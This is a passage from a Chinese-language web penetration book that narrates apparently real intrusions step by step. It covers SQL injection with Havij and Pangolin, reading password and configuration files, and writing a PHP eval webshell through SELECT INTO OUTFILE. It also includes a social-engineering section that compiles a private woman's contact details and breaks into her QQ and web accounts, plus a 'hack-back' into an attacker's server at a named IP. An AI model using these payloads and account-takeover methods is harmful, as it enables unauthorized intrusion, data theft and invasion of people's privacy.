获取网站的基本信息后,依次单击“Get DBS”→“Get Table”→“Get Columns”→“Get Data”选项,浏览通过Havij获取的数据库中的表,可以判断xe-member为管理员表。选中它进行猜解,如图5-90所示,admin用户的密码采用MD5加密,值为“3144ad83e5613f7778422d0fcbd97bea”。将该MD5值放到cmd5及其他一些MD5值查询网站进行破解,未能免费获取结果,因此,通过后台进入的路只能放弃。在获得WebShell后查看该网站,也发现数据库中虽然设计了表,但在实际程序中并未使用该表。

图5-90 获取管理员密码

5.10.4 尝试读取Linux系统中的文件

01 读取Passwd和Shadow文件

单击“Read Files”按钮,在“File Address”文本框中输入“/etc/passwd”进行读取,结果如图5-91所示,将其复制到文件中进行查看。通过分析“/etc/passwd”文件,知道该服务器存在多个网站用户,用户ID从503到526,一共有24个用户。但是,读取“/etc/shadow”文件失败,不能直接获取Linux用户的密码。

图5-91 读取“/etc/passwd”文件的内容

02 读取网站文件

通过“/etc/passwd”文件直接读取存在SQL注入点的PHP文件,在“File Address”文本框中输入“/home/lixxxxxx/index.php”,如图5-92所示,得知该数据库用户为“root”,密码为“gxxx5”。

图5-92 读取网站文件

03 读取Apache配置文件

通过分析“/etc/passwd”文件可以知道,该服务器采用“Apache+MySQL+PHP”架构,因此,读取Apache配置文件即可获取网站的真实路径。

直接读取Apache配置文件“/etc/httpd/conf/httpd.conf”,通过Havij读取失败,如图5-93所示。将SQL注入地址复制到Pangolin中,在检测出SQL注入点以后直接切换到“File Reader”模块,将Apache配置文件复制到“File Path”文本框中,结果如图5-94所示。

图5-93 使用Havij读取Apache配置文件失败

图5-94 使用Pangolin读取Apache文件

5.10.5 构建和获取WebShell

01 使用Pangolin写入WebShell

在Pangolin中单击“File Writer”按钮,在“File Path”文本框中输入“/home/life2health/zwell.php”,文件内容就是用Pangolin默认的内容,如图5-95所示。测试写入,结果提示不能写入,一个可能原因就是Magic_quotes_gpc参数设置为“OFF”。看来,直接写入获取WebShell不可行。

图5-95 使用Pangolin的文件写入失败

02 通过数据库的outfile获取WebShell

在本例中,由于获取了网站的真实路径及数据库root用户的密码,因此可以尝试通过outfile获取WebShell。使用MySQL-Front登录该MySQL数据库服务器,执行“Select '<?php eval($_POST[cmd]);?>' into outfile'/home/xxxxx/img/12.php' ;”命令,如图5-96所示,显示SQL执行错误,原因可能是网站目录没有写入权限。

图5-96 写入文件执行失败

回到Apache的配置文件目录,将所有网站配置文件中有关网站路径的内容重新整理,逐一进行测试,终于在测试到diet网站时成功了,如图5-97所示。

图5-97 写入文件成功

03 获取WebShell

直接祭出一句话“大杀器”“中国菜刀”,添加类别后直接连接,终于出现了熟悉的界面。如图5-98所示,在该文件目录下出现了多个压缩文件(从111.rar到999.rar)。

图5-98 获取WebShell

将其下载到本地进行查看,通过分析,获悉该压缩文件为国内某门户网站的所有数据库文件,该Linux服务器不过是一台文件中转服务器。再次通过分析日志文件发现,该攻击者又使用了一个跳板,如图5-99所示。

图5-99 从国内服务器下载数据

由此可见,该攻击者非常小心,先将压缩后的数据库文件上传到国内肉机中,然后从国内肉机将文件转移到国外的Linux服务器上,最后从国外的服务器上将文件下载到本地。

5.10.6 提权及下载数据库

利用“中国菜刀”上传一个功能比较齐全的WebShell,如图5-100所示,通过执行命令及反弹端口等操作,发现该WebShell的权限较小,估计前期攻击者已经对服务器进行了加固,所以即使获取了WebShell也无法提权。

图5-100 上传PHPSPY2009

抱着研究和学习的目的,通过WebShell将该网站的所有数据库导出,如图5-101所示。由于数据库用户是root权限,因此该服务器上所有的数据库均能访问。将数据库及程序代码导出到Shell目录并压缩后下载到本地。

图5-101 将数据库导出到本地

5.10.7 小结

Linux的渗透相对较难,但也不是无迹可寻——只要功夫深,铁棒磨成针!要注意日常的技术和技巧积累,不断进行总结和回顾。就本例而言,笔者有以下几点体会。

• 使用MySQL-Front导出一句话木马。使用MySQL-Front连接MySQL数据库成功后,执行“Select '<?php eval($_POST[cmd]);?>' into outfile'/home/xxx/img/antian365.com.php' ;”语句,即可将一句话木马导出到目录“/home/xxx/img/”下,通过“中国菜刀”即可获得WebShell。

• Apache在CentOS中的配置文件路径为“/etc/httpd/conf/httpd.conf”。现在很多Web服务器都采用“Apache+Mysql+PHP”架构,读取httpd.conf文件即可获取所有网站的真实路径等信息,这些信息在生成一句话的WebShell时特别有用。
• 熟悉和掌握Havij SQL注入工具。除了Pangolin,Havij也是一款免费的SQL注入工具。
• Havij配合Pangolin读取Linux文件效果较佳。有些时候,Havij不能读取的文件在Pangolin中可以读取,反之亦然。
• Linux中的目录权限限制较严格,一般而言在,网站根目录下都会有可写目录。在写WebShell时需要多尝试,特别是img、images和xml等目录,都是常见的可写目录。

第6章 高级渗透技术

在Web渗透中,对某些目标采用常规手法是无法渗透的,因此需要通过一些技巧和方法,也就是本章中所说的怪异渗透实现。渗透也是需要创新的,通过多种方法的组合,或者在某一种常规渗透方法上配合一些新的技术,往往就能顺利渗透目标对象。这些方法有抓包分析、社工渗透、内网多种方法配套渗透、JBoss服务器渗透等。

本章主要通过实际案例讨论如何利用一些不常见的方法进行Web渗透。Web渗透的核心,笔者认为有两个:一个是渗透思路;另一个是渗透方法。只要思路正确,然后运用一定的渗透方法,就一定能够渗透目标对象。当然,攻击与防范是相对而言的,如果防范做得比较严格,渗透起来就相对比较难了。

本章主要内容

 社会工程学渗透

 网络维护过程中的渗透与反渗透

 Boss获取WebShell

 Boss Application Server获取WebShell

 通过Tomcat弱口令渗透某Linux服务器

 Struts S016和S017漏洞利用实例

 JBoss获取WebShell

 JspRun!后台获取WebShell

 ECSHOP后台获取WebShell

 0day分析之ColdFusion本地包含利用方法

 一种新型PHP网站后门隐藏技术研究

 OpenSSL“心脏出血”漏洞分析及利用

 通过网上信息获取某Linux服务器的WebShell

 一句话密码破解获取某网站WebShell

 突破防篡改继续上传

 渗透测试之旁注

 内网渗透嗅探术

6.1 社会工程学渗透

很多朋友玩社工都很厉害。社会工程学(简称“社工”)是攻击中的一种特殊应用,“入侵+社工”的攻击模式如果利用得好,可以所向披靡。本次安全检测就是简单的尝试。

6.1.1 安全检测

我们一起了解一下本次安全检测过程。

1.操刀上阵——我的“三板斧”

笔者看到链接地址“http://www.AAA.com/BBB/CCC.php?pid=XXX”,就试着在其地址后添加一个单引号,随之绝对路径就被泄露了。

“第一板斧”就把“敌人”弄了个“脑震荡”。有时可能不会只通过一个简单的单引号就暴露路径,所以,可以试试随意输入一些字符(当然要灵活运用),路径为“F:\AAA\BBB\bbs6.1 \CCC\db_ mysql.class.php”,如图6-1所示。

图6-1 获取路径

2.无敌掌——信息分析和收集

目录中以“bbs6.1”命名—— “bbs”不是“论坛”的意思吗?打开地址“http://www.AAAA.com”,最下方显示的是“Powered by AAA! 6.1.0”,虽然修改了标识,但还是可以看出这是一个Discuz!的论坛。笔者曾经发现了一个Discuz! 6.1论坛存在注入,但是这个不是,因为“BBB”目录不是论坛程序,而是另一个文件目录。

3.无影腿——SQL注入测试

提交“and 1=1”和“and 1=2”,“and 1=1”返回正常,但是提交“and 1=2”的时候,却自动跳转到“and 1=1”的页面,而且提交的“and 1=2”也变成了“and 1=1”,使用“/**/”代替空格,发现还是一样。在URL后面加上一个“-1”,新闻页面则变成了另外一则,说明存在注入。

4.开山掌——获取SQL注入长度

接着就是判断长度了,“order by X”,以10个为一组依次递增,最后发现到30的时候出现错误,所以,长度在20至30之间。接着改变长度数字并提交,最后判断长度为23,如图6-2所示。

图6-2 获取长度

5.无上心法——获取数据库版本和用户等信息

得到长度之后,提交“http://www.AAA.com/BBB/CCC.php?pid=407/**/and/**/1=2/**/union/**/select/* */1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*”,出现了9和11两个值。用version()和user()替换这两个值,查看MySQL的版本和用户,如图6-3所示,信息如下。

图6-3 获取MySQL数据库的版本和用户信息



     User  =    root@localhost

     Version  =    5.0.20 -nt-log

6.一招制敌——获取数据库密码

可以通过以上信息推断,数据库和Web在一起,没有分离,还是root权限,而且是MySQL5数据库。但是,服务器系统要么是NT(Windows)要么是LOG(Linux),为什么会一起显示呢?通过上面被暴露的路径可以知道是Windows操作系统。使用ping命令查看,TTL的值为53——难道不是Windows?在URL中用大写“PHP”代替小写“php”,返回正常。很明显,是服务器进行了设置来欺骗我们的眼睛。既然是root权限,而且还是MySQL5的root权限,就不用手工猜解管理员账号和密码了,直接访问load_file读出root账号的密码即可。

把“F:\AAA\BBB\bbs6.1\CCC\db_mysql.class.php”这个路径转换成16进制读取,查看源文件,查找require或者include引入文件,找到数据库连接文件config.inc.php的真实路径,如图6-4所示,有时候可能页面无法显示,那就查看源文件。修改路径,把“config.inc.php”放到路径上面,继续转换,接着提交,这时就能查看root的密码了,示例如下,如图6-5所示。

图6-4 获取数据库的配置文件路径

图6-5 获取数据库密码



     $dbhost = 'localhost';   // 数据库服务器 

     $dbuser = 'root';     // 数据库用户名 

     $dbpw = 'XXX';       // 数据库密码 

     $dbname = 'XXX';     // 数据库名

6.1.2 小遇周折,提权成功

提权的道路不会一帆风顺,但还是要积极想办法解决问题。

1.无法获取phpMyAdmin

问题就出在这里。大家都知道,一般使用MySQL数据库的网站,都喜欢使用phpMyAdmin来管理数据库,那么我们就来找找phpMyAdmin的地址——结果没有找到。用自己编写的小工具扫描PHP网站后台、phpMyAdmin及上传页面,也没有结果。更让人郁闷的是“magic_quotes_gpc =on”,“%2527”绕不过魔法引号,无法导出。

2.使用GmySql编辑器连接MySQL数据库

笔者曾遇到过类似的问题,到论坛求助,cnxhack给出了思路。如果是Discuz! 6.x,那么利用MySQL5注入得到论坛管理员密码,然后登录进后台,开启WAP,再利用Discuz! 0day漏洞搞定。难道这次也要这么做吗?就在笔者准备采用这种方法的时候,忽然想到了MySQL连接器。按照常规来说,要在本地才能连接,这次竟然直接连接上去了,如图6-6所示。

图6-6 成功连接MySQL数据库

3.创建一句话木马并上传大马

在GmySql编辑器中执行以下脚本。



= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 

     Create TABLE a (cmd text NOT NULL);

     Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');

     select cmd from a into outfile '网站可写路径/一句话马名.php';

     Drop TABLE IF EXISTS a;

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 

访问一句话木马的地址——一片空白,足以说明成功写入。赶紧上传PHP大马,查看一下,果然是Windows系统,而且是Windows 2000服务器。接下来就是提权了。先看看是否开启了3389端口,尝试远程连接失败。用PHPShell执行命令,发现不是内网。难道修改端口了?再上传一个ASP大马,查看一下远程登录端口,发现果然修改了端口,修改后的端口号为4401,如图6-7所示。

图6-7 得到大马

4.无法创建管理员用户

这时提权已经不难了。虽然没有su,但是有root和MySQL5,那就简单了——UDF导出提权。但是笔者没有采用此种方法,因为刚才查看开启服务的时候发现服务器上安装了杀毒软件McAfee,肯定行不通。在这里,直接用PHPShell建立,这时拥有系统权限的它也拥有这个权限。运行net user命令,发现有几个远程登录的管理员。尝试建立连接,但没有回显,怎么回事?明明是管理员权限啊!上传一个建立用户的bat文件并运行,还是没有建立连接,如图6-8所示。

图6-8 获取管理员账号列表

5.使用木马来帮忙

new4做过一个免杀的暗组远控木马,笔者请安装了McAfee的朋友帮忙测试——还是免杀!上传到本次实验环境并运行,等待一会儿就上线了,如图6-9所示。

图6-9 服务器上线

远程Telnet,发现原来是服务器开启了密码复杂性,这就好办了,输入任意内容使其符合条件就行了。接着就是远程登录。登录成功,如图6-10所示。

图6-10 登录远程终端

6.1.3 我也来社工

本节我们聊聊社工的相关话题。

1.社工进入其管理的一台服务器

一个管理员的名字引起了笔者的注意。因为在注入之前,笔者访问过那个论坛,发现网站管理员的名字和笔者相同。用自己的用户名和密码试了一下,居然可以登录远程服务器,如图6-11所示。

图6-11 登录其他远程服务器

2.社工进入其管理的论坛

继续社工,成功登录论坛,如图6-12所示,进入后台。继续看看能否社工其他内容。

图6-12 进入管理后台

3.社工之收集资料

社工其实没有太高的难度,就是利用搜集的资料和足够的信息对目标账号依次试验,关键是看目标账号的所有者,如果这个所有者太“弱”了,那么被社工是“分分钟”的事情。所以,大家一定要防范社工,特别是在网络上!

打开谷歌,开始搜索——东西太多,一个一个来。不急于用这个密码去试验所有的账号,先理清思路,具体如下。

01 把关于目标账号的所有页面浏览一遍,认真仔细地查找资料,然后将它们集合到一起进行对比,选出出现频率比较高的。

02 利用这些资料,对那些有用的地方进行社工,如电子邮箱、淘宝的个人资料等(淘宝上的基本都是真实的信息)。

03 利用第二次收集的资料进行社工。如果进行三次社工都没有效果,就要考虑放弃了。

4.小有收获

开始按照计划实施。第一步,收集个人信息如下。

• 个人:fXXXXove,冰X
• 密码:xxxxx,xxxxxx,xxxxxx
• QQ:648XX14,9143XXXX
• 支付宝:fxxxxov
• Email:fxxxxove@qq.com,fxxxxove@yahoo.com.cn
• 联系电话:134xxxx5919
• MSN:fxxxove@hotmail.com
• 出生日期:1980年x月x日

第二步,第一组账号是Discuz!官网的登录用户名和密码,查看个人资料,没有获得更多信息,如图6-13所示。

图6-13 从Discuz!官网获取其个人信息

接着,用第一个密码访问其他网站,发现此人的现居地、个人简历及兴趣爱好等信息,如图6-14所示。

图6-14 进一步获取其个人信息

使用以上用户名和密码访问更多网站,也成功登录,如图6-15所示,只是其中一个网站的登录密码不同,使用的是第二个密码。

图6-15 登录其他网站

继续访问更多网站,如图6-16所示,资料基本相同,只是额外获得了其身高信息。

图6-16 进入更多网站和博客

接着,进入目标账号在某网站的空间,有一些有用信息,如图6-17所示,性别为“女”,年龄为32岁,现居地为广东深圳(难道上面的“山东”是假的?最后根据空间里面的旅游照片判断,山东是假的。因为有一个外出郊游的相册,里面的穿着、时间还有风景不像是山东的,而且南方和北方的气温差异很大,同一时期穿着是不一样的)。

图6-17 获取某的空间中的个人资料

现在还剩下目标账号的QQ、MSN及淘宝账号没有拿到。

接着是QQ号码。既然第一个密码已经失败了,那只有使用其他信息了。用出生日期试了试,无法直接登录。尝试输入目标账号所有者的名字和“冰X”的拼音字母,还是不行,出生地及其他拼音字母也不行。静下来想一想,一个受过大学教育的人,不会简单地使用单一的数字或者拼音作为密码,而可能是一个数字和字母的组合。第三次,用“fxxxove”加上“1980”,居然成功了。虽然还没有登录,但是笔者已经知道自己成功了。为什么?因为出现了“与上次登录地点不一样”的提示信息,输入验证字母成功进入,如图6-18所示。

图6-18 成功登录其QQ号码

访问QQ空间和QQ邮箱,查看资料。邮箱中保存了很多有用信息,所以别小看了它,它足以威胁到我们所有账号的安全!

剩下的就是淘宝和MSN了。用过的人就知道,注册的时候需要一个找回信息或者更改密码用的邮箱,而目标账号使用的恰恰是QQ邮箱。试了一下,设置了密码找回问题,一个是她的居住地,另一个是她爱看的电影。居住地已经知道了,爱看的电影是什么呢?去哪里找呢?QQ空间上面有一个“个人档”,其中一栏是“我推荐的电影”。看了一下,她居然填写的是“我”。结果并不重要,重要的是通过首次社工学习到了一些经验和防护措施(记得年少无知之时,自己也曾把很多密码都设置成相同的)。

社工完成,还要提醒目标用户注意保护个人信息安全。

6.1.4 总结与体会

先谈服务器。按理说,此服务器上的网站程序安全性尚可,共有3个网站,一个是Discuz! 7.0的论坛,一个是此次社工的Discuz! 6.x网站,另一个是网上手机商城(因为反查IP域名失败,所以没有详细研究)。但是,这个Discuz! 6.x网站存在注入,倘若此时依次嗅探,估计能拿下其他同网段的服务器。

再谈社工。仅以此事件提醒广大网友,不要把个人的真实资料放在网络上,那是非常可怕的!还有,不要把自己在不同网站、论坛的密码都设置成相同的,也不要以自己的出生日期或者真实资料作为密码,这样做不安全!

6.2 网络维护过程中的渗透与反渗透

一个朋友告诉笔者,他在访问自己公司网站时跳出很多奇怪的页面,而且杀毒软件提示网页存在病毒——第一感觉就是公司服务器被入侵了。

6.2.1 网站挂马检测和清除

01 使用软件嗅探被挂马页面

得知朋友的远程终端和公司网站名称后,首先在虚拟机中使用URLSnooper对网站进行嗅探,果然网站多处文件被挂马,如图6-19所示。登录远程终端后,得知其服务器配置较高,带宽是20M光纤,访问网络的速度非常快——高质量肉机的首选,也难怪被“黑”。

图6-19 使用URLSnooper监听网站的所有链接和访问

说明
(1)URLSnooper是一款安全检查工具,看其名称就知道该软件是URL监视软件,笔者认为它是一款捕捉网站是否挂马的好工具。URLSnooper的安装比较简单,安装完毕后需要安装默认的抓包软件。
(2)确认网站被人挂马后,应马上将网站文件进行备份。

到网站根目录查看网站文件的最近修改时间。首页更改的时间为8月25日,因此可以借助系统的文件搜索功能搜索8月24日至8月26日之间的文件。

如图6-20所示,找到数十个文件,而且被修改文件有共同的特点,即index.html、index.asp、conn.asp、top.asp、foot.asp和JS文件均被修改。可以看出,该攻击者绝对是一个团伙或者一个老手所为,不是对所有文件进行挂马,而是有针对性地对一个关键文件进行挂马。

图6-20 查找被修改的网站文件

02 清除挂马代码

在所有文件中查找代码“<script src=http://%61%76%65%31%2E%63%6E></script>”,然后将其清除。

6.2.2 系统入侵痕迹搜索和整理

查看系统目录及服务器上的所有目录中的文件,发现该入侵者使用过“1433全自动扫描传马工具”。通过对该工具软件的研究分析可知,该扫描工具中需要有配置文件以下载木马。果不其然,在系统目录下发现有一个文件cc1 .txt的生成日期是5月29日,大小只有64字节,使用type命令显示如下。



     open 122.138.14.8

     gusdn

     lixuanyu

     binary

     get 1.exe 

     bye

该文件是FTP自动下载的配置信息,直接使用CuteFTP软件,填写IP地址和账号、密码,顺利登录,如图6-21所示。从服务器上的文件不难看出,这台机器的FTP路径是Windows系统某个磁盘的根目录,里面有不少黑客用的工具,机主肯定是一个入侵者或者安全爱好者。

图6-21 成功登录FTP服务器

用扫描工具软件查看计算机的端口开放情况。如图6-22所示,系统开放了80端口和远程终端服务3389端口。

图6-22 查看远程服务器端口开放情况

说明
很多入侵者在利用网上下载的工具时,没有很好地设置和改造,只是进行简单的配置后便开始攻击和入侵,因此在肉机上经常留下各种木马的安装文件,有时甚至还有FTP自动上传文件的配置文件。可以使用“dir/od/a”命令查看当前目录中的文件,如果存在小于100字节的文件,则这些文件极有可能是配置文件。

6.2.3 利用社会工程学进行反渗透

下面我们利用社会工程学的思维进行反渗透,从而保护自己的服务器。

1.使用获取的FTP账号猜测服务登录口令

既然服务器开放了3389端口、FTP服务,那么可以尝试利用FTP的账号和口令登录其3389远程桌面。猜测administrator的口令,结果不是“gusdn”,也不是“lixuanxu”,说明使用FTP账号和口令不能进入系统,需要换一个思路。

2.从网站入手

使用IE浏览器打开该IP地址,可以正常访问。该服务器提供了Web服务,网站为游戏私服服务器,如图6-23所示,通过HDSI及Domain 3.5等SQL注入工具对网站进行探测,没有找到可以利用的地方。

图6-23 服务器提供Web服务

3.从FTP目录入手

在FTP的目录中有一个“web”子目录,会不会与网站有关系呢?上传一个ASP木马到“web”子目录试试。不试不知道,一试吓一跳——这个目录正是网站的根目录,ASP小马可以正常运行,如图6-24所示。通过ASP木马在网站中看了看,发现可以浏览所有磁盘,不过只有D盘有写权限。经过与FTP中的文件进行对比,FTP的根目录就是D盘。

图6-24 上传ASP木马

既可以上传文件,也可以浏览文件,那么,要想提升权限,还必须能执行命令。上传一个ASP的cmd木马到“web”子目录,竟然不能执行。继续利用ASP木马在寻找其他突破口,结果一无所获。FTP不是用Serv-U开的,C盘不可写,不能执行命令,怎么办?

4.上传ASP.NET木马,提升系统权限

用3389登录这台机器时,它的操作系统是Windows Server 2003,可能支持ASP.NET。为什么不上传一个ASPX的cmd的木马试试呢?说干就干。果然,ASPX木马能够执行命令,如图6-25所示。查看机器用户列表,居然没有“administrator”,却有一个“xuanyu”,而FTP口令是“lixuanyu”,一定是管理员更改了超级用户名。它的口令会是什么呢?还是用3389登录器测试,不是“gusdn”,不是“lixuanyu”,更不是“12345678”——猜不出来了。

图6-25 使用ASP.NET木马查看系统管理员账号

5.获取数据库用户管理员密码

按照密码设置习惯,入侵者极有可能使用了相同的密码,因此,可以尝试获取数据库中用户的密码以登录远程终端服务器。使用CuteFTP对整个网站目录中的文件进行查看,在“TT”目录中发现数据库文件“$_$%●yingzi★!#%&^$#.asa”,使用FTP下载后,把文件的后缀改为“mdb”,使用Access直接打开该数据库,如图6-26所示,从中找到管理员使用的表Gq_Admin。

图6-26 获取管理员表Gq_Admin

从表Gq_Admin中发现存在“gusdn”用户,并且是高级管理员权限,密码用MD5加密后是“5334e6dd7b8exxxx”。访问cmd5网站,填好16位密码,解密。不到1分钟,密码就被破解了,是“12703XXX”,如图6-27所示。

图6-27 获取用户的密码

6.再次登录远程终端

直接打开远程终端连接器,在其中输入用户名“xuanyu”,密码“12703XXX”,然后单击“连接”按钮,很快就成功进入该计算机,如图6-28所示。

图6-28 成功进入攻击者服务器

7.查看入侵者的服务器

使用systeminfo工具查看系统的详细情况,具体如下。



     Systeminfo 

     Default Domain:   KIRY-C1AEF31B8B

     IP  Address:      122.138.14.8

     Computer Name:    KIRY-C1AEF31B8B

     Current UserName: xuanyu

     Update Time:      0 day 22 Hour 43 Min 57 Sec

     Total Memory:     1015 MB

     Free Memory:      682 MB

     CPU Speed:        2.7 GHz

     Cpu Number:       2

     Termsrv Port:     (3389,3389)

     Language:         Chinese (PRC)

     Operate System:   WIN2003

     Window Directory: C:\WINDOWS

     System Directory: C:\WINDOWS\system32

     Hard Disk: C:\ (NTFS) Total 9.77 Gb, Free  4.02 Gb.

     Hard Disk: D:\ (NTFS) Total 29.29 Gb,  Free 26.86 Gb.

     Hard Disk: E:\ (NTFS) Total 31.81 Gb,  Free 27.74 Gb.

几天后,这台机器的FTP服务被取消了,网站也从122.138.14.8搬到了122.138.14.4,且只能用域名www.sow2i.com登录。不过,3389还在使用,而且两台机器的账号和口令都是一样的。这样,就可以成功渗透第二台计算机。

6.2.4 总结与思考

网络安全与维护是攻击与防护的对立统一,好的攻击就是好的防护,利用从被挂马的计算机中获取的痕迹,反过来渗透入侵者的计算机,也不是不可能的事情。回想反渗透入侵者服务器的过程,突破口只是一个FTP口令,然后就从网页木马到数据库下载,从MD5管理员口令到主机用户口令,最后实现了3389远程桌面登录。整个过程并没有多少技术含量,就是因为攻击者的疏忽大意,结果被反渗透!因此,在网络管理与维护的过程中,碰到问题不要害怕,只要仔细分析,合理利用自己掌握的所有信息,就极有可能发生意想不到的事情。让我们在网络维护过程中享受工作的乐趣吧。

6.3 JBoss获取WebShell

JBoss是一个大型应用平台,普通用户很难接触,而越是难以接触的东西,就越觉得高深。借用北京公交乘务员李素丽的一句话:“用力只能干出称职,用心才能干出优秀。”在安全上也是如此。虽然JBoss平台很难掌握,但是只要找到JBoss的罩门,一样能轻松渗透。本节就如何针对JBoss的一个漏洞获取其WebShell进行讨论,由于只是研究,因此内容点到为止。

6.3.1 使用漏洞特征进行搜索

在JBoss的整个漏洞中,一个显著的特征就是“8080/jmx-console/”(当然也有其他特征)。这个特征主要便于在Google中进行搜索。

现在Google的搜索地址为www.google.com.hk(使用百度搜索的效果不如Google)。在Google的输入框中输入“inurl:"8080/jmx-console/"”,会得到很多结果。

6.3.2 访问网站并进行漏洞测试